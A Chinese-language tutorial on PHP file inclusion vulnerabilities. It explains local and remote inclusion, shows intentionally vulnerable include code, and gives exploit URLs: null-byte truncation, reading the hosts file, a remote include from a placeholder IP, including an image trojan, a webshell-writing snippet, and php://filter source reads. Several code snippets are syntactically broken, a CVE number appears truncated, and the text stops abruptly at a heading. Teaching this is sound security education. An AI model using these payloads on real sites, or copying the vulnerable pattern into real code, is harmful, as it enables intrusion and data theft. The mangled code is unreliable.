(代码的重复)程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某个函数的时候,直接调用此文件,无需再次编写,这种调用文件的过程通常称为包含。
程序开发人员都希望代码更加灵活,所以通常会把被包含的文件设置为变量,来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用任意文件,造成文件包含漏洞。 几乎所有的脚本语言都会提供文件包含功能。文件包含漏洞在PHP Web Application中居多,在JSP/ASP/ASP.net程序中比较少。
漏洞产生的原因 1、Web应用实现了动态包含 2、动态包含的文件路径参数,客户端可控
PHP中的文件包含
语句 PHP中提供了四个文件包含的函数,四个函数之间略有区别。如下 include():文件包含失败时,会产生警告,脚本会继续运行。 include_once():与include()功能相同,文件只会被包含一次。 require():文件包含失败时,会产生错误,直接结束脚本执行。 require_once():与require()功能相同,文件只会被包含一次。 相关配置 文件包含是PHP的基本功能之一,有本地文件包含和远程文件包含之分(非官方解释)。简单来说,本地文件包含就是可以读取和打开本地文件,远程文件包含(HTTP,FTP,PHP 伪协议)就是可以远程加载文件。我们可以通过php.ini进行配置。如下 allow_url_fopen=On/Off 本地文件包含(LFI) allow_url_include=On/Off 远程文件包含(RFI)
容易造成敏感信息泄
文件包含示例 我们可以通过以下简单的代码来测试文件包含漏洞。
< ?php
$path = $_GET [ 'path' ] ;
include_once( "./inc.php" ) ;
echo < h1 > This is include_once.php! < /h1 > ";
include_once $path ;
?>
该文件就会从GET方法获取path变量,也就是文件包含路径,然后包含此文件。创建一个文件info.php,这个包含的文件的内容为phpinfo ()。
< ?php
phpinfo( ) ;
?>
本地文件包含(LFI) 本地文件包含就是我们可以通过相对路径的方式找到文件,然后包含之。 访问的URL为 [http://localhost/include/include_once.php?path=info.php]. 远程文件包含(RFI) 远程文件包含就是我们可以通过http(s)或者ftp等方式,远程加载文件。 访问的链接 [http://localhost/include/include_once.php?path=http://your ip/include/info.php]
PHP文件包含漏洞原理及特点
漏洞原理 PHP文件包含是程序设计的基础功能之一,能够减少代码量,提高开发效率。但是使用文件包含功能类似于以上测试代码的设计,实现了动态包含,就有产生文件包含漏洞的风险。如果实现动态包含参数,Web应用没有进行严格净化,客户端用户可以影响或控制文件包含的路径,就会产生文件包含漏洞。 特点 PHP提供的文件包含功能非常强大,有以下特点
无视文件扩展名读取文件 包含文件时,PHP会读取文件的源码,包括图片文件。尝试包含图片,当打开图片时不是图像,而是图片的源码。 无条件解析PHP代码 文件包含在读取文件源码的同时,如果遇到符合PHP语法规范的代码,就会无条件执行。例如,将info.php的后缀名改成info.rar,依然能够显示phpinfo()信息。 这同时,也为图片木马提供了一种利用方法。
空字符安全绕过 空字符安全限制绕过,是PHP小于5.3.4版本的一个漏洞,CVE编号CVE-2006-724。这个漏洞就是PHP接收来自于路径名中的空(Null)字符,这可能允许依赖于上下文的攻击者通过在此字符后放置安全文件扩展名来绕过预期的访问限制,也就是00截断。00截断攻击也会体现在文件包含中。 Web应用在设计的时候,经常会包含模板文件,简单程序如下:
< ?php
if( isset( $_GET [ 'path' ] )) {
include $_GET [ 'path' ] .".html" ;
} else{
echo "?path=info.php" ;
}
?>
这个简单的代码限定了被包含文件的后缀名是html,提交URL [http://172.16.132.138.fileInclude/00/?path=info]
此处我们可以通过00截断来包含任意文件,比如同级目录下的inc.php文件。提交变量[http://172.16.132.138/fileInclude/00/?path=info.php%00]
注意:需要关闭PHP的魔术引号。
文件包含漏洞的利用
读取敏感文件 我们可以利用文件包含漏洞读取任意文件,读取文件的时候有利用条件 目标机文件存在(目标文件的路径,绝对路径,相对路径) 具有文件可读权限 提交参数[?path=:\windows\System32\drivers\etc\hosts],读取本地host的文件。 直接包含图片木马 可以利用文件包含漏洞直接包含图片木马。 [?path=./timg_.jpg] 使用菜刀连接之。 包含木马写shell 我们也可以将如下代码写入到图片中,
< ?php fputs( fopen( 'shell.php' ) , 'w' ) , "" ) ; ?>
该段代码的含义是,在当前目录下创建一个名为[shell.php]的文件,内容为 [],当我们直接包含图片的时候,这段代码就会被执行。
PHP封装协议–访问本地文件 我们可以使用php的file协议访问本地系统文件,提交参数 [?path=file://c:\windows\System32\drivers\etc\hosts]。 PHP封装协议–传输PHP文件 可以使用以下参数来传送任意PHP文件。 ?path=php://filter/read=convert.base64-encode/resource=inc.php 然后把得到的所有字符串base64解码即可。 PHP封装协议–执行PHP命令 可以利用PHP封装协议执行PHP命令
试题